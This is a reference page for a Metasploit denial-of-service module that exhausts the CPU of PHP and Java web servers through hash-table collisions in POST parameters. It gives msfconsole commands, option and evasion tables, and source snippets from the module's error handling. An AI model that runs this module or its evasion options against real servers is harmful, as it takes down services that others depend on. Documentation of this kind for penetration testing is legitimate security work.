Hashtable Collisions - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/hashcollision_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Hashtable Collisions
Module: auxiliary/dos/http/hashcollision_dos
Source code: modules/auxiliary/dos/http/hashcollision_dos.rb
Disclosure date: 2011-12-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2011-4858, CVE-2011-4885, CVE-2011-5034, CVE-2011-5035
This module uses a denial-of-service (DoS) condition appearing in a variety of programming languages. This vulnerability occurs when storing multiple values in a hash table and all values have the same hash value. This can cause a web server parsing the POST parameters issued with a request into a hash table to consume hours of CPU with a single HTTP request. Currently, only the hash functions for PHP and Java are implemented. This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo. It also generates a random payload to bypass some IDS signatures.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/hashcollision_dos
msf auxiliary(hashcollision_dos) > show targets
... a list of targets ...
msf auxiliary(hashcollision_dos) > set TARGET target-id
msf auxiliary(hashcollision_dos) > show options
... show and set options ...
msf auxiliary(hashcollision_dos) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
TARGET: Target to attack (Accepted: PHP, Java)
Go back to menu.
Msfconsole Usage
Here is how the dos/http/hashcollision_dos auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/hashcollision_dos
msf6 auxiliary(dos/http/hashcollision_dos) > show info
Name: Hashtable Collisions
Module: auxiliary/dos/http/hashcollision_dos
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-12-28
Provided by:
Alexander Klink
Julian Waelde
Scott A. Crosby
Dan S. Wallach
Krzysztof Kotowicz
Christian Mehlmauer <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 50 yes Number of requests to send
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET yes Target to attack (Accepted: PHP, Java)
URL / yes The request URI
VHOST no HTTP server virtual host
Description:
This module uses a denial-of-service (DoS) condition appearing in a
variety of programming languages. This vulnerability occurs when
storing multiple values in a hash table and all values have the same
hash value. This can cause a web server parsing the POST parameters
issued with a request into a hash table to consume hours of CPU with
a single HTTP request. Currently, only the hash functions for PHP
and Java are implemented. This module was tested with PHP + httpd,
Tomcat, Glassfish and Geronimo. It also generates a random payload
to bypass some IDS signatures.
References:
http://www.ocert.org/advisories/ocert-2011-003.html
http://www.nruns.com/_downloads/advisory28122011.pdf
http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html
http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf
http://www.youtube.com/watch?v=R2Cq3CLI6H8
https://nvd.nist.gov/vuln/detail/CVE-2011-5034
https://nvd.nist.gov/vuln/detail/CVE-2011-5035
https://nvd.nist.gov/vuln/detail/CVE-2011-4885
https://nvd.nist.gov/vuln/detail/CVE-2011-4858
Module Options
This is a complete list of options available in the dos/http/hashcollision_dos auxiliary module:
msf6 auxiliary(dos/http/hashcollision_dos) > show options
Module options (auxiliary/dos/http/hashcollision_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 50 yes Number of requests to send
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET yes Target to attack (Accepted: PHP, Java)
URL / yes The request URI
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/hashcollision_dos auxiliary module:
msf6 auxiliary(dos/http/hashcollision_dos) > show advanced
Module advanced options (auxiliary/dos/http/hashcollision_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
CollisionCharLength 2 no Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)
CollisionChars 5 no Number of colliding chars to find
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxPayloadSize 0 no Maximum size of the Payload in Megabyte. Autoadjust if 0
PayloadLength 8 no Length of each parameter in the payload
RecursiveMax 15 no Maximum recursions when searching for collisionchars
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/hashcollision_dos module can do:
msf6 auxiliary(dos/http/hashcollision_dos) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/hashcollision_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/hashcollision_dos) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Not enough values found. Please start this script again.
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Not enough values found. Please start this script again." error message:
122: end
123: end
124: if counter < datastore['CollisionChars']
125: # Try it again
126: if @recursive_counter > datastore['RecursiveMax']
127: print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
128: return nil
129: end
130: print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
131: @recursive_counter = @recursive_counter + 1
132: hashes = compute_collision_chars
<RHOST>:<RPORT> - <RECURSIVE_COUNTER>: Not enough values found. Trying again...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - <RECURSIVE_COUNTER>: Not enough values found. Trying again..." error message:
125: # Try it again
126: if @recursive_counter > datastore['RecursiveMax']
127: print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
128: return nil
129: end
130: print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
131: @recursive_counter = @recursive_counter + 1
132: hashes = compute_collision_chars
133: else
134: print_status("#{rhost}:#{rport} - Found values:")
135: hashes.each_value do |item|
Target <TARGET> not supported
Here is a relevant code snippet related to the "Target <TARGET> not supported" error message:
176: @char_range = Range.new(0, 128)
177: if (datastore['MaxPayloadSize'] <= 0)
178: datastore['MaxPayloadSize'] = 2 # XXX: Refactor
179: end
180: else
181: raise RuntimeError, "Target #{datastore['TARGET']} not supported"
182: end
183:
184: print_status("#{rhost}:#{rport} - Generating payload...")
185: payload = generate_payload
186: return if payload == nil
<RHOST>:<RPORT> - Unable to connect: '<EXCEPTION.MESSAGE>'
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect: '<EXCEPTION.MESSAGE>'" error message:
203: c = connect
204: r = c.request_cgi(opts)
205: c.send_request(r)
206: # Don't wait for a response, can take hours
207: rescue ::Rex::ConnectionError => exception
208: print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
209: return
210: ensure
211: disconnect(c) if c
212: end
213: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3216 Merged Pull Request: Update @Meatballs1 and @FireFart in authors.rb
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #1110 Merged Pull Request: Fix instances of invalid lower-case datastore use
- #1047 Merged Pull Request: Set normalize uri on modules
- #382 Merged Pull Request: Hashcollision DOS
References
- http://www.ocert.org/advisories/ocert-2011-003.html
- http://www.nruns.com/_downloads/advisory28122011.pdf
- http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html
- http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf
- http://www.youtube.com/watch?v=R2Cq3CLI6H8
- CVE-2011-5034
- CVE-2011-5035
- CVE-2011-4885
- CVE-2011-4858
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/brother_debut_dos
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/metasploit_httphandler_dos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/ua_parser_js_redos
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/ws_dos
Related Nessus plugins:
- PHP Version 5 Hash Collision Form Parameter Parsing Remote DoS
- RHEL 6 : java-1.6.0-openjdk (RHSA-2012:0135)
- Oracle Java SE Multiple Vulnerabilities (February 2012 CPU)
- CentOS 6 : java-1.6.0-openjdk (CESA-2012:0135)
- RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2012:0139)
- Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2012:021)
- RHEL 5 : java-1.6.0-openjdk (RHSA-2012:0322)
- Ubuntu 10.04 LTS / 10.10 / 11.04 / 11.10 : openjdk-6 vulnerabilities (USN-1373-1)
- Debian DSA-2420-1 : openjdk-6 - several vulnerabilities
- Ubuntu 10.04 LTS / 10.10 / 11.04 : openjdk-6b18 vulnerabilities (USN-1373-2)
Authors
- Alexander Klink
- Julian Waelde
- Scott A. Crosby
- Dan S. Wallach
- Krzysztof Kotowicz
- Christian Mehlmauer
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.